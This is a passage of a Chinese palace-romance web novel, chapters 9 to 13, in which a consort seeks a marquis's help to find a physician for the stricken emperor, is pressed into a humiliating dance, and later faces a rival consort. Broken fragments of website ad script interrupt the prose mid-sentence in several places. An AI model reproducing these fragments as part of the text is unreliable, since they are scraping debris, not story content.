“这不是我大赵尊贵无比的贵妃娘娘嘛,这大半夜的,娘娘怎么出宫来了微臣的寒舍?”商佑庭很快便清醒过来,他双手环胸站在门前,面带几分戏谑,几分惊讶地说道。 商佑庭的话语阴阳之气太过严重,就算圆滑如秋宴越,这一时也不知如何开口。 “本宫深夜造访,是有要事相商。”秋宴越对着商佑庭微微福身行礼,语气中透露着谨慎:“还请侯爷行个方便,我们进屋详谈。” 还真来这里摆宫里娘娘的谱啊! 商佑庭闻言,长眉一挑,嘴角勾起一抹意味深长的微笑,上下打量着眼前的“贵妃娘娘”。 下一刻,空气仿佛凝固,整个空间弥漫着一种压抑的氛围。 “谁干的?” 男子低沉的嗓音如同雷鸣般在秋宴越的耳畔炸响,每一个字都裹挟着不容忽视的怒意,如同即将喷发的火山,蓄势待发。 秋宴越只觉得一股力量猛然袭来,她的下巴被这股力量轻轻抬起,迫使她不得不微微扬起脸庞,再次与商佑庭目光交汇。 那力道虽然很大,但却很好的控制住了力度,只让她的脸更加凑近商佑庭。 “什么?”秋宴越美眸微微睁大,清澈的眸子里闪过一丝不解与迷茫,显然她并未立刻领会商佑庭话中的意思。 商佑庭的眉头紧锁,眼神不善,他眯起眼,紧紧盯着秋宴越的脸颊。 尽管秋宴越已经尽力用胭脂水粉掩盖了脸上的伤痕,但商佑庭目力惊人,他的眼神之好,足以一箭射中千步以外的靶心,更何况是秋宴越脸上的肿胀,即便她掩饰得再巧妙,也逃不过他那双锐利如鹰的眼睛。 “你的脸,谁打的?” 9. 第九章 他的话语如同寒冰般刺骨,让秋宴越不禁打了个寒颤。她这才意识到,商佑庭已经发现了她脸上的伤痕。 “是……是我不小心摔倒的。”她低垂下眼眸,声音闷闷的带着一丝不易察觉的委屈。 然而,商佑庭显然并不相信她的说辞,他的眼神中闪过一丝怒意与心疼交织的复杂情绪。 “你以为我会看不出来吗?你脸上的伤痕明显是被打的。” “站在外面做什么,进来。”松开捏着秋宴越下巴的手,商佑庭直接将秋宴越拉进了屋里。 取了一块干净的帕子,商佑庭动作轻柔的擦去秋宴越脸上的胭脂水粉。 秋宴越此刻却显得有些局促不安,她轻轻咬了咬下唇,有心想要拒绝,但商佑庭的动作却是不停,根本容不得她拒绝。 随着脸上的遮掩物被一一拭去,商佑庭的脸色也越来越难看。 凑近闻了闻,空气中弥漫着一丝略带苦味的幽香,这味道商佑庭闻过,是宫廷秘药才有的独特气味。 商佑庭早年是首富之子,但他生性纨绔,肆意纵情,这样的性格自然免不了要受到父亲的责罚,早年不知道挨了他父亲多少毒打。 每每挨打后,母亲便会送来上好的伤药。 那些伤药中不乏宫廷之物,珍贵异常。 因此,当商佑庭再次闻到这股熟悉的味道时,他立刻便认出了这是宫廷里的伤药——“雪肤祛淤膏”。, 秋宴越肌肤细腻白嫩。 她的脸经过他的擦拭,脸上的胭脂水粉已经尽数被洗去。 这也露出了她的真容。 真容依旧是美的惊人。 洗尽铅华后的她,更像是一朵在夜色中静静绽放的夜莲,不染尘埃,美的脱俗。 只是她那绝美的脸蛋上,清晰的印着几道指痕。 商佑庭仔细观察着这些指痕,心中已有了几分猜测。 看指印的大小,应当是女人所为。 雪肤祛淤膏的药效商佑庭是知道的,就是他这样皮粗肉厚的汉子,在受伤后只需轻轻一抹,短短几个时辰便能红肿消退。 可看秋宴越脸上依旧残留着指印的痕迹,算上她从皇宫出来到自己府邸的时间,少说也要一个时辰,这么长时间了,脸上还有这么清晰的痕迹,可见动手者下手有多重。 商佑庭的眼中闪过一丝怒意,轻轻叹了口气,重新取了伤药。 打开瓶盖,一股淡淡的雪莲香气瞬间弥漫开来,清新而雅致,他轻轻地用指尖挑起一点药膏,然后像是对待稀世珍宝一般,将其均匀地涂抹在秋宴越的脸上。 随着药膏的逐渐渗透,秋宴越脸上的指印竟开始以肉眼可见的速度慢慢淡化。 秋宴越不由好奇:“这是什么伤药?” 虽然手边没有琉璃镜,看不到此刻脸上的伤在迅速好转,但是秋宴越能感觉出来,这伤药的药效似乎比宫中的伤药效果还要好些。原本脸颊上火辣辣的痛楚,经其轻轻一抹,犹如久旱逢甘霖,带来难以言喻的清凉与舒适,痛感也随之大大减轻。 商佑庭没有回答,只确定伤处都已经上好药了,这才将手中的白玉瓷瓶塞到秋宴越的手中。 “受了伤还涂脂抹粉的,想勾引谁呢?” “拿着,一日两次,下次来我这把脸上的伤养好了再来,本候挑食,脸上有瑕的本候可看不上。”商佑庭嫌弃的将手中的白瓷药瓶塞到秋宴越手中。 嗯? 嘶。 秋宴越不由轻声嘶了一声,手下意识的往回缩。 商佑庭眉心紧缩。 强迫的将秋宴越的手拉了过来。 摊开手心,映入眼帘的是大片触目惊心的擦伤,伤口沾着血污,看愈合的情况,显然受伤有一段时间了。 秋宴越这才发现自己的手上也受伤了。 这应该是建平帝摔倒的时候自己被他带着摔倒才伤的。 她回想起今夜发生的一切,建平帝那突如其来的摔倒中风,自己为了扶住他而不慎被带倒,这伤应当就是那会受的,然而当时的自己完全忽略了自己所受的伤。 直到方才,被商佑庭的药瓶触碰,她才感受到那份来自身体的疼痛。 “这真不是被人打的,这是我自己摔的。”看着商佑庭的脸色越来越难看,秋宴越忙不迭的解释道。 话一出口,秋宴越便觉得不妥,有心想要解释一番, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但又不知从何说起,几次张了张嘴,最终也没说出话来。 商佑庭的眉宇间凝聚起一层寒霜,他嘴角勾起一抹冷笑,那笑容里藏着无尽的讥讽与不屑:“你这贵妃娘娘,看来在宫里过的也不怎么样啊。” 秋宴越闻言,脸色瞬间变得苍白如纸。她想说些什么来反驳,却又觉得任何言语都显得苍白无力。 商佑庭见状,心中不禁生出一丝怜悯,他轻轻叹了口气,语气中多了几分柔和:“忍着点,接下来可能会有点疼。” 秋宴越脸上的伤没有出血,但她手上的伤确实实打实的破了皮,出了血的。 虽然伤口边缘已凝结成一层薄薄的痂,但是那结痂之处,还顽固地粘附着尘土与细碎的沙粒,明显能看出她受伤后没有处理过这伤口。 清凉的茶水缓缓一点点冲刷着秋宴越的手心,那些顽固的尘土与血污终于被一一冲刷下去。 商佑庭说得哪里是有点疼。 清水将伤口上的尘土血污冲走,露出鲜红的血肉,刺激的药粉接触到血肉,疼的秋宴越身体不由自主地颤抖了一下,本能地想要将手抽回。 商佑庭哪里能让她离开。 手上稍微用力,秋宴越瞬间重心失衡,整个人不由自主地跌坐在了商佑庭的怀抱之中。 “贵妃娘娘,您这是投怀送抱?”商佑庭眼中闪过一丝诧异,嘴里讥讽之语不断,手却是稳稳的扶住了秋宴越。 听着商佑庭戏谑的话语,秋宴越心中涌起一股难以言喻的羞赧,恨不得此刻地上出现一道缝隙,好让她躲进去。 商佑庭眸色一暗,但随即又恢复了往日的冷静与自持,他用尽全身的自制力,轻轻地将秋宴越推开,按到椅子上坐好,继续为她上药。 秋宴越的脸上早已经是红霞一片,竭力控制自己安静地坐在那里,任由商佑庭摆布着自己的双手。 “就算你现在知道本候的好了,也已为时过晚。”取了洁净的纱布,将秋宴越手上的伤痕细心裹好,商佑庭随后缓缓站起,以一种居高临下的姿态审视着秋宴越,冷冷地抛出一句充满不屑的话语。 "本侯最为讲究清洁,凡经他人触碰之物,本侯定不会取用。" 10. 第十章 “我这皇城中尊贵无比的贵妃娘娘,今夜屈尊降临,真乃蓬荜生辉。只是,不知娘娘是否告知,究竟是何等缘由,让您深夜来到了我这简陋之所?” 商佑庭站起身,后退至桌案旁,熟练的给自己沏了一盏凉茶。 他常年习武健身,屋内常备着一壶凉茶,方才和这女人靠的太近,他那古井不波的心境竟然被她勾得起了波澜。 连着一口饮尽三盏凉茶,商佑庭这才将他心中因秋宴越突然到访而泛起的涟漪一一抚平。 就算现在身体冷静下来了,商佑庭依旧是和秋宴越保持了一个不远不近的距离,既不过分亲近,也不显得疏远,恰到好处地保持着一种微妙的平衡。 “长平候,今夜我来此的缘由……”秋宴越的话语顿了顿,似乎在斟酌着接下来的言辞:“实则是有一事相求,此事关乎皇城的安危,也关乎我个人的命运。” 商佑庭闻言,那修长的眉毛轻轻一扬,嘴角勾起一抹意味深长的笑意,一字一顿的慢慢说道:“娘娘您可是大赵最受陛下宠爱的妃子。” “三年!”商佑庭伸出三根手指在秋宴越眼前晃了一下。 “仅仅三年!”他又重复了一遍,语气中带着几分不可置信与轻蔑:“你便从一个生母卑贱的小官家的庶女,一跃成为了万人之上的贵妃,荣宠加身,风头甚至盖过了皇后。您这般有能耐,本候当真是自愧不如,也实在想不出,这世间还有什么事情能够难得到你?” 商佑庭脸上的讥讽之意实在太过直白,秋宴越被他说的面红耳赤。 秋宴越轻叹一声,她轻轻抬手,指尖仿佛蝴蝶般轻巧地掠过额前的发丝,那一张清丽脱俗却又不失柔弱的脸庞完全展露在商佑庭眼中,那双美眸似是会说话一般,蕴含了无尽的哀怨与无奈,长长的睫毛上还挂着几滴晶莹未干的泪珠,犹如星辰般闪烁,让人心生怜爱。秋宴越就这么凝视着商佑庭缓缓道出了今夜事情的始末。 “陛下中风了?”商佑庭的眉头紧锁。 他内心十分震惊,毕竟,就在不久之前,他还亲自进宫面见了建平帝。那时的建平帝,尽管年岁已高,鬓发斑白,但依旧精神矍铄,步履稳健,丝毫不见老态龙钟之态。谁能想到,这位曾经一统江山、叱咤风云的帝王,竟然会如此突然地中风。 “太医院的人都是干什么吃的?连个中风都治不了?”商佑庭的声音中带着几分怒意与不解。太医院可以说汇聚了大赵医术最为高超的医者,却也未曾料到,皇帝中风,太医院上下竟无一人能治。 平心而论,建平帝对商佑庭还不错。 若不是建平帝的明察秋毫,商家的旧案或许至今仍被尘封于历史的尘埃之中,难以见天日。那些曾经肆意妄为、谋夺商家财产的奸佞之徒,也绝不会如此轻易地受到应有的制裁与惩罚。这份恩情,商佑庭始终铭记于心。 而商佑庭本人能够成为长平候,更是离不开建平帝的力排众议与鼎力支持。在这个权谋斗争激烈、人才辈出的时代里,能够在自己这个年纪便封侯拜相的人可谓是凤毛麟角、屈指可数。然而建平帝却毅然决然地将这份荣誉与责任托付给了自己,这让商佑庭受宠若惊。 可打仗他还行,但面对病魔面前却也是束手无策,商佑庭实在想不明白为何秋宴越会深夜到访。 “长平候,陛下昔日待您不薄,对您更是无尽的信任与倚重。” 秋宴越眼神中流露出哀求与期盼,继续说道:“本宫听闻沈知微神医,那位以妙手回春之术闻名遐迩的医道圣手,与侯爷您有着过命的交情。他的医术,可谓是登峰造极。陛下如今,病入膏肓,御医们束手无策,只能寄希望于沈神医那超凡入圣的医术。” 说到这里,秋宴越的声音微微颤抖:“本宫恳请侯爷,念及旧日情分,告知沈神医的下落?此恩此情,本宫将铭记于心,感激不尽。” “旧日情分?”商佑庭的眼中掠过一抹复杂的神色,那瞬间,他仿佛被一股无形的力量牵引,思绪飘回了往昔那段温柔缱绻的时光。然而,这份转瞬即逝的意动,很快就被一股难以言喻的怒火所取代,他的眼神瞬间变得锐利而冰冷,如同冬日里凛冽的寒风,直刺人心。 “秋宴越!”商佑庭的声音低沉而有力,每一个字都像是从牙缝中挤出,充满了无尽的恨意与不甘:“你还有脸在我面前提及旧日情分?” 他的眼神中闪烁着决绝与愤怒,仿佛要将所有的怨恨都倾泻而出。 秋宴越,这个女人,曾经是他心中的一抹温柔,如今却成了他心中最深的痛。 他记得,他们曾一同漫步在月光下,许下了相守一生的誓言。然而,这一切的美好,都在秋宴越的背叛中化为乌有。 “你可知,我为了这份情分,付出了多少?我放弃了家族的荣耀,我背叛了亲人的期望,我甘愿与你携手共度余生。可你呢?你却在我最需要你的时候,选择了离我而去。”商佑庭的声音中充满了哀伤与无奈,他仿佛是在控诉,又仿佛是在自言自语。 “贵妃,呵呵,贵妃,三年成贵妃,真是好的很啊。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>商佑庭深吸了一口气,努力平复着内心的情绪:“秋宴越,背叛是什么代价?你又愿意为你的背叛付出什么代价?” 在那昏黄而略显压抑的房间里,商佑庭的身影显得格外突兀,他的眼神中仿佛燃烧着不灭的怒火,状若疯魔,让人不敢直视。秋宴越站在一旁,望着这曾是她心中依靠的男子,心中不禁泛起一阵难以言喻的酸楚与颤抖。 “佑庭哥哥。”她轻轻地唤道,那声音宛如秋风中摇曳的落叶,带着几分无法言喻的无奈与深深的内心挣扎。 泪水,在她的眼眶中徘徊,如同晨曦中晶莹的露珠,随时准备滑落,却又似乎在竭力坚守着最后的一丝尊严。 “我知道你心中有怨,怨我背叛了你。”她的声音中透着一股幽怨,每一个字都像是从心底深处挤出来的,自责与痛楚。 她深知,自己曾经的选择如同一把锋利的刀,深深地刺痛了商佑庭的心,没有任何一个男人能容忍这样的背叛。 如果不是今夜她实在没有办法,她恐怕这辈子都不会踏入长平候府,不会同商佑庭再见面。 “佑庭哥哥,你也该知道,我母亲她……”说到这里,秋宴越的声音哽咽了,泪水终于忍不住夺眶而出,泪珠顺着她白皙的脸颊缓缓滑落,如同断线的珍珠,晶莹剔透。 美人垂泪,梨花带雨,此情此景,即便是铁石心肠之人,也难以不为之动容。 然而,商佑庭却仿佛置身于另一个世界,他的嘴角勾起一抹冷笑,那笑容中充满了不屑与嘲讽,仿佛眼前的泪水不过是虚伪的伪装。 “秋宴越,你不必再在我面前装出这副无辜的模样,”他冷冷地说道,语气中透露出一种难以言喻的决绝,“你心里那点算盘,我早已看得一清二楚。你之所以如此,无非是因为看到我们商家日渐衰败,心生退意,不愿再与我共赴风雨罢了。你以为我还会像当年那样,被你轻易地哄骗,再次陷入你的温柔陷阱吗?” 秋宴越闻言,声音更加哽咽,她试图辩解,却发现自己的声音在颤抖:“佑庭哥哥,你怎可如此想我?我从未有过这样的念头。”她的眼中充满了委屈与不解,仿佛一只受伤的小鹿,在无助地寻求着庇护。 商佑庭的眼神闪过一丝复杂,那其中有痛苦、有挣扎,但更多的还是冷漠与决绝。他轻轻摩挲着手中的扳指,那扳指上似乎还残留着往日的温度,但此刻却如同寒冰一般,冷得让人心寒。 他冷冷地看着秋宴越,仿佛在看一个陌生人,一个曾经熟悉却又无比陌生的陌生人。 11. 第十一章 商佑庭勾起秋宴越一缕乌黑亮丽的青丝,俯身凑到秋宴越耳畔戏谑一笑:“本候听闻,贵妃娘娘舞艺名动京城。” “三年前,一支月下洛神舞,更是让陛下为之倾倒。” “本候与娘娘虽算不得深交,但亦算得上是旧识一场。那传说中的月下洛神舞,本候至今未得一见。今夜娘娘到访极为难得,不知娘娘可否赏脸,让本候一睹这惊世之舞的风采?” 秋宴越闻言,脸颊不禁泛起了淡淡的红晕,她轻启朱唇:“侯爷谬赞了,那不过是一点微末之技,何足挂齿。” 表面上秋宴越是害羞的模样,可她心中却是翻涌的江河,波澜起伏。 她暗自思量,以商佑庭的权势与地位,拒绝,或许能保全一时的颜面,可再想求他找沈神医就难了。 自己虽然是贵妃之尊,可那前提得是皇帝好好的活着。 思及此,秋宴越也下了决定:“侯爷保家卫国,功勋卓著,本宫虽不才,却也愿以微薄之技,为侯爷助兴。” 说着,秋宴越解开身上的斗篷,在屋中找了个空旷点的位置,便准备开始跳舞了。 “慢着。”商佑庭不乐意了。 “月下洛神舞,顾名思义,应当在皎洁月光下翩翩起舞,方能尽显其神韵。今夜月色正好,娘娘在屋内起舞,岂不是辜负了这良辰美景,还是说,娘娘在诓骗本候?” 秋宴越闻言,动作不禁一僵,脸上的微笑也险些挂不住。 想到今夜索求,秋宴越迅速调整心态,深吸一口气,以更加从容的姿态回应道:“侯爷言之有理,是本宫疏忽了。月下洛神舞,自然应在月光下演绎。那么,就请侯爷移步院中,本宫愿在月光下为侯爷献上此舞。” 说罢,秋宴越便引领商佑庭走出屋内,来到一片被月光洒满的演武场之中。 夜色如水,月光如银,商佑庭好整以暇的坐在椅子上,手中捧着茶盏看似不经意的道: “当时陛下看到的是什么样的舞,本候也要看到一模一样的,娘娘可明白?” 夜幕低垂,繁星点点,演武场上,秋宴越的影子被月色拉的很长,显得格外无助而决绝。 空旷的场地中央只她一人,夜风轻轻拂过,带起她衣袂的轻轻摇曳。 抬眼看去商佑庭端坐于椅子上,脸色沉静得如同一汪深不见底的潭水,波澜不惊,仿佛世间万物都无法触动他内心的分毫。他的眼神深邃而遥远,仿佛能洞察人心最深处的秘密,却又在不经意间,将一切情绪深藏不露。 秋宴越站在他的对面,尽管竭尽全力想要从那张冷峻的面容上捕捉到一丝丝真实的情感波动,却如同试图在平静的湖面上掀起波澜一般,徒劳无功。 “侯爷的意思是,一模一样?”秋宴越试图再次挣扎。 “自然。” 秋宴越终于死心。 她的双手,如同承载了千斤重担般缓缓上移,最终停留在了那繁复宫装的腰带之上。 今日这身衣裳虽是她衣柜中最为朴素的一套,可毕竟是宫中出品,也是繁琐至极。 就单单这腰带就分了两层,外层轻盈的丝带随风轻舞,而内里,则是一片精心编织的绸缎束腰,紧紧勾勒出她曼妙的身姿。 秋宴越纤细柔美的手指在腰间停留了好一会儿,终于手指捏起丝带轻轻往外一拉,那外层的丝带便如同挣脱了束缚的鸟儿,随着夜风在夜空中划出一道优美的弧线,最后落在了青石地砖上。 商佑庭坐在不远处的观战台上,目光紧紧锁定在秋宴越的身上。他看着她这一连串的动作,脸色渐渐变得难看,手中的白瓷茶盏被他不自觉地捏得嘎吱作响,仿佛下一刻就要破碎开来。 秋宴越没有关注商佑庭的目光,她的手指继续缓慢而坚定地移向了腰间的束腰处。这条束腰华美异常,银线勾勒出精美的纹样,在室内的时候还不曾发现,此时到了室外,这银线在月光的照耀下,竟然闪烁着盈盈的流光,美得令人窒息。 束腰被丹红用宫廷手法打了两处暗扣,秋宴越深吸一口气,轻轻拉开了第一个暗扣。那一刻,原本端庄的蝴蝶结瞬间散开,丝绸制的涤带如同被解开了封印的流水,顺滑地倾泻而下。 束腰处少了一个暗扣,显得秋宴越的身姿更加袅袅婀娜。 秋宴越手指继续上移,已经触碰到了第二个暗扣。她轻轻咬唇,然后,她的手便毫不犹豫地继续往下拉…… “够了!”商佑庭不知道什么时候到了秋宴越的身前,他的脸庞因愤怒而紧绷,那双深邃的眼眸中仿佛燃烧着熊熊的怒火。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他紧紧抓住秋宴越那纤细的手腕,力度之大,使得秋宴越的脸色瞬间因疼痛而变得苍白。 “你就是这么跳舞的?”商佑庭的声音再次响起,他的语气中不仅充满了愤怒,更夹杂着一丝难以言喻的失望。 “旁人说你狐媚惑主,本候还不信,今日所见,方知传言不虚。” 他的话语如同一把锋利的匕首,直插入秋宴越的心。 秋宴越的身躯微微颤抖,她努力让自己的情绪保持平静,但泪水却还是不争气地滑落了下来。 商佑庭看着秋宴越那无助的样子,心中的怒火渐渐平息下来。他松开她的手腕,眼神中闪过一丝复杂的情绪。 “陛下看得,那本候自然也是看得的,娘娘还请继续吧。” 商佑庭后退几步,伸出手,做了一个优雅而又不失礼节的手势,示意秋宴越继续。 秋宴越脸色苍白如纸,她缓缓转身,背对商佑庭,声音中带着一丝决绝。 “本宫,不跳了!” “娘娘确定?陛下如今还在宫中昏迷不醒,娘娘今夜若是能顺应时势,或许还能换来一线转机,本候也自当在沈神医面前为娘娘美言几句。但若娘娘执意不跳,陛下的生死,可就真的悬于一线了。” 商佑庭的声音幽幽,如同夜色中的一缕暗流,悄然侵入秋宴越的心田。 秋宴越闻言,脸色微变,但很快便恢复了镇定。她紧紧握拳,指甲深深陷入掌心,那刺骨的疼痛似乎都未能让她有丝毫的动摇:“侯爷的好意,本宫心领了。但太医院的太医们,皆是医术高超之辈,他们定会竭尽全力救治陛下,使陛下早日康复。本宫相信,陛下吉人天相。,自然不日就能苏醒康复。” “陛下还在宫中,本宫便先行回宫了,侯爷不必送。” 说完这番话,秋宴越拂袖而去,那决绝的背影在夜色中显得格外孤傲。 直到走出长平候府的大门,秋宴越才猛然想起,自己方才用来束腰的丝带不慎落在了长平府中。 然而,此刻的她已不愿再回头。 于是,她咬了咬牙,毅然决然地钻入了早已等候在旁的马车。 “石大哥,回宫。” 马车缓缓启动,穿梭在夜色中的长街之上,留下一串串清脆的马蹄声。 12. 第十二章 皇宫到长平候府距离虽然不是很远,但在正常的情况下,这段路程马车需要半个时辰的行驶。 在长平候府耽误了太长时间,当秋宴越的马车穿透晨雾,缓缓驶入皇城的时候,天边已经泛起了淡淡的鱼肚白,距离她与宋侍卫约定的时间,已经过去了半个时辰。 并非错过了时辰便无法入宫,只是皇城的守卫森严,有严格的进出规定,一旦错过时辰,便需经过层层盘查,不仅耗时费力,更有可能因此暴露自己的行踪,引来不必要的麻烦。 “娘娘,你可算是回来了。”看到秋宴越的马车缓缓驶来,宋霖的脸上露出了明显的释然之色。 “宋侍卫,有劳了。”秋宴越微微掀开窗帘的一角,目光与宋护卫交汇,眼中闪过一丝歉意:“今夜之事,确是有诸多变故,这才误了时辰。” “娘娘对卑职之恩重如山,愿为娘娘效犬马之劳。只是见娘娘匆匆出宫,卑职心中难免担忧,故而特意和旁的侍卫多调了一个时辰,以防万一。” 宫内禁军侍卫制度严谨,分级明确。 自底层而上,依次设有不入流的预备侍卫,七品、八品侍卫,五品、六品仪卫,四品、三品锦衣卫,二品指挥使和一品禁军统领。 宋霖的父亲,原是一名七品禁军侍卫,不幸早逝。禁军之中历有子承父业的传统,待宋霖及龄,携信物至禁军,却惊觉本应属于他的位置已被他人占据。尽管他手握继承信物,禁军侍卫中却已无他立足之地。负责此事的仪卫态度更是嚣张,仅允其从预备侍卫做起,而预备侍卫与正式侍卫之间,实乃天壤之别。 正式侍卫初为八品,晋升之路顺畅,至七品无障碍,然欲再进一步至仪卫则颇为艰难。 反观预备侍卫,其晋升体系残缺不全,即便勤勉如鸡鸣而起、犬吠而息,若无背景支撑,亦难逃终生滞留预备之宿命。面对此等不公,宋霖自然不肯屈服,然其父早逝,人脉凋零,他在禁军中孤立无援,最终只能忍辱负重,接受预备侍卫之职。 就职之后,那仪卫并未放过宋霖,反而变本加厉地折磨他,企图迫其自行离开。宋霖深知留在禁军或有一线希望重获本应属于自己的一切,一旦被逐,回归无望,便只能咬牙坚持。 某次,宋霖被派至秋宴越所在的水华阁执行公务,彼时秋宴越初入宫闱,见宋霖带伤工作,心生怜悯,遂与之交谈,得知宋霖遭遇后,她深感同情,待其得宠于建平帝后,便借机提及此事。 禁军侍卫乃京城安防之基,成员皆精挑细选之良家子弟,尤以家世清白、世代忠心者为首选。得知竟有人胆敢在侍卫承袭上动手脚,建平帝闻之大怒,即刻下令彻查。 经查实,宋霖所言非虚。昔日嚣张跋扈之仪卫终遭严惩,此外,此案还牵出多名受害侍卫,整个禁军因此得以大清洗。宋霖也因此拿回了本该属于他自己的八品侍卫一职。 "本宫闻悉胡仪卫即将远赴他方任职,宋侍卫素日勤勉尽责,其努力与贡献皆已为上所察,想必不日之后,本宫或将改口称你为宋仪卫了。"秋宴越经过长久的观察,认为这宋霖办事稳妥可靠,而且人品端正,实属难得的人才。 今日之事,也多亏了这宋霖机灵,这才让她少了许多麻烦。 “多谢娘娘提携。”宋霖终是少年意气,听闻自己即将晋升,脸上不由浮现出喜色。 宋霖,现任七品侍卫,距六品仪卫仅一步之遥。 可这一步,难如登天。 禁军侍卫三万,这其中无数侍卫终其一生,亦难以触及仪卫之位。 禁军侍卫体系严格,侍卫守护皇宫,日夜巡逻;仪卫维护宫廷秩序,监督侍卫;锦衣卫权势显赫,监察百官、侦查犯罪,部分直接听命于皇帝。至于更高的指挥使需家世显赫、机缘兼备。禁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 军统领由皇帝亲选,非心腹不可胜任。 能成为仪卫,这也就意味着宋霖进入了禁军侍卫这个体系的核心,他如今才十八岁,再熬上几年,做出些功绩,哪怕成为威风凛凛的指挥使也不是完全不可能。 宫内规定马车不得疾行,夜里便也算了,但是这大白天的,秋宴越也不敢太过招摇,就这样马车缓缓驶入了怜月宫。 马车停下,秋宴越从车内轻盈地跳下。 秋宴越身着一袭淡雅的宫装,厚重的斗篷被她留在了马车上,虽然看起来秋宴越本人没什么不妥,可石牛见状却是脸色一变。 仔细观察,不难发现秋宴越的眼眶微微泛红,显然是哭过。 最关键的是她的腰带,那腰带本是紧紧束在她的腰间,宫人伺候的手艺自然是不错的,石牛跟在秋宴越身边对秋宴越身边那个叫丹红的宫女的手艺十分清楚。 丹红那姑娘心灵手巧,秋宴越平日的装束都是端庄整洁的,就算是不起眼的腰带系扣,丹红都是力求完美,那蝴蝶结扎的,和焊在上面一样,可从长平候府回来,秋宴越腰间的腰带系扣却是松松垮垮的,那蝴蝶结的样子也是潦草至极。 这眼前的一切似乎都在无声地诉说着自家娘娘可能在长平候府受到了某种难以启齿的遭遇。 这一刻,石牛的脸色瞬间变得铁青,他心中涌起一股难以抑制的怒火与悔恨:“娘娘,石牛这便去杀了那商佑庭。” 石牛现在万分后悔,他怎么就信了长平侯是个正人君子?果然,就算是战功赫赫又如何?长平候竟然能对娘娘这样一个弱女子做出这等卑劣之事,可见是个卑劣小人。 愤怒之余,他更多的是对娘娘的愧疚与自责,他后悔自己没有坚持跟着娘娘一起进入长平候府,否则又怎会让娘娘孤身一人面对这龙潭虎穴? 若是自己坚持跟着进去,娘娘又怎么会受辱。 13. 第 13 章 “娘娘,您可算是回来了。”丹红的声音中带着几分惊喜与急切,她匆匆迎上前来。 然而当看清秋宴越的样子,丹红心中不禁生出一丝疑虑。 娘娘的腰间似乎少了些什么。 正欲开口询问,却被一阵突如其来的声响打断了思绪。 “汪汪汪……”前方宫殿正门处,一阵此起彼伏的犬吠声骤然响起。 怜月宫养了两条猎犬,是建平帝在一次秋狩中精心挑选,赠予秋宴越的礼物。平日里,这两条猎犬被训练得极为听话,轻易不会发出声响,除非有陌生人踏入。 秋宴越与丹红迅速交换了一个眼神,心中皆已明了。 不约而同地加快了脚步,朝宫内奔去。 “不行,得去陛下那。”秋宴越突然停下脚步,一把拉住丹红,她果断地改变了方向,朝皇帝安置的寝宫疾步而去。 皇帝所在的屋子本是秋宴越的房间,昨夜建平帝中风,秋宴越直接将建平帝安置到了自己屋中,自己另外找了个没人住的房间住着。 但那个房间有点偏,这会过去很容易会撞上不速之客。 “不能从正门走。” 眼看再过一个转角就能进正屋了,秋宴越一把拉住丹红,低声而急促地说道:“丹红你先去门外挡一下。” 丹红很快领悟了秋宴越的意思:“娘娘您万事小心,奴婢这就去。。” 见丹红去拦人了,秋宴越随即弯下身子,双手轻轻一推,上方的窗户便悄无声息地打开了。她小心翼翼地探出头去,朝寝宫内望去。 寝宫内灯火通明,却显得格外空旷。偌大的空间内,只有五人,桌案前其中一个是刘旭,另一个是个不知名的药童,那药童靠在椅子上,打着盹。 昨夜,正是刘旭负责值夜,负责看护建平帝。 皇帝病重本不该只留他一人,但却不知为何,昨夜的六位太医,却只留下了刘旭一人,秋宴越只觉得山雨欲来风满楼。 除了刘旭外,屋内还有林德和另两个侍女,都在皇帝榻前伺候着,这三人都是秋宴越的心腹。 见到屋内都是自己人,秋宴越心中不禁松了口气,她轻手轻脚地靠近窗户,手在窗棂上一撑,熟练地翻进了寝宫内。 "娘娘?"刘旭本是在专注地看着医术,突然余光扫见屋内闯入了个人,差点惊呼出声,但当他看清来人的面容时,他连忙起身。 “娘娘,您这是……” 刘旭本想问秋宴越为何不从正门进,但他很快便意识到自己的失言,后半句疑问硬生生地咽了回去,可他的目光还是不由自主地朝秋宴越身后的窗户看去。 "让刘太医见笑了。"说罢,秋宴越面色如常地走到刘旭面前,仿佛刚刚翻窗进来的不是她一般。 桌案上摆着一只空了的药碗,秋宴越顺手拿起桌上的药碗,碗底已经有了一圈深褐色的药痕 “陛下何时服的药?” "估摸着有半个时辰了。" “这么久。”一模碗壁,果然已经凉透了。 “本宫先去看看陛下。” 寝宫很大,秋宴越翻窗进来的动静不大,就连那打瞌睡的药童都没惊醒,掀开床前的珠帘,秋宴越便看到了卧病在床的皇帝。 他面色苍白如纸,眉头紧锁,似乎正承受着极大的痛苦。秋宴越的快步走到床边坐下,温柔地握住皇帝的手。 “陛下……”秋宴越的声音有些哽咽,泪水也是说来就来。 “贤妃娘娘,你不能进去啊。” 寝宫外传来丹红的呼声。 “让开!”一道女声后。 下一刻,寝宫那扇雕刻着繁复图案的红木大门,被猛然推开,一阵冷风汹涌入寝宫。 秋宴越此时跪坐在床榻前,她身着素色罗裙,裙摆的轻纱随着这股凉风轻轻摇曳,她的脸色在寒风中略显苍白,那双美丽的眼眸中含着泪珠看向来人。 “贤妃姐姐一大清早便硬闯妹妹的怜月宫,这是何故?” 贤妃李静容出身显赫,祖父为前宰相,父亲为吏部侍郎。她出生便有高人给批了个贵不可言的命格,因而入宫即封昭媛,后晋贤妃。 贤妃并无子嗣,无子而封,罕见殊荣。现在虽然荣宠不在,但家世与贤惠名声让她在后宫中仍有分量。 虽然秋宴越封锁了建平帝中风的消息,但是贤妃昨夜便察觉到了不对劲,她的侍女巧云经过多方打听,这才确定皇帝确实是在怜月宫中中风了。 听到这个消息,贤妃哪里还坐得住,第一时间就来到了怜月宫中。 “秋氏,陛下在你宫中染疾,你可知罪?” 秋氏? 秋宴越柳眉微挑。 她细细打量了贤妃一番。 眼前的女子年岁稍长她几岁,却自有一番韵味。贤妃的装扮极为简约,一身素净的衣裙,身上并没有太多首饰,只拿一根檀木簪子将秀发绾起,露出一张姣好的玉颜,她的容颜虽不及秋宴越那般倾国倾城,却也自成一派,温婉中带着几分坚韧。 而且这 (function () {var id = 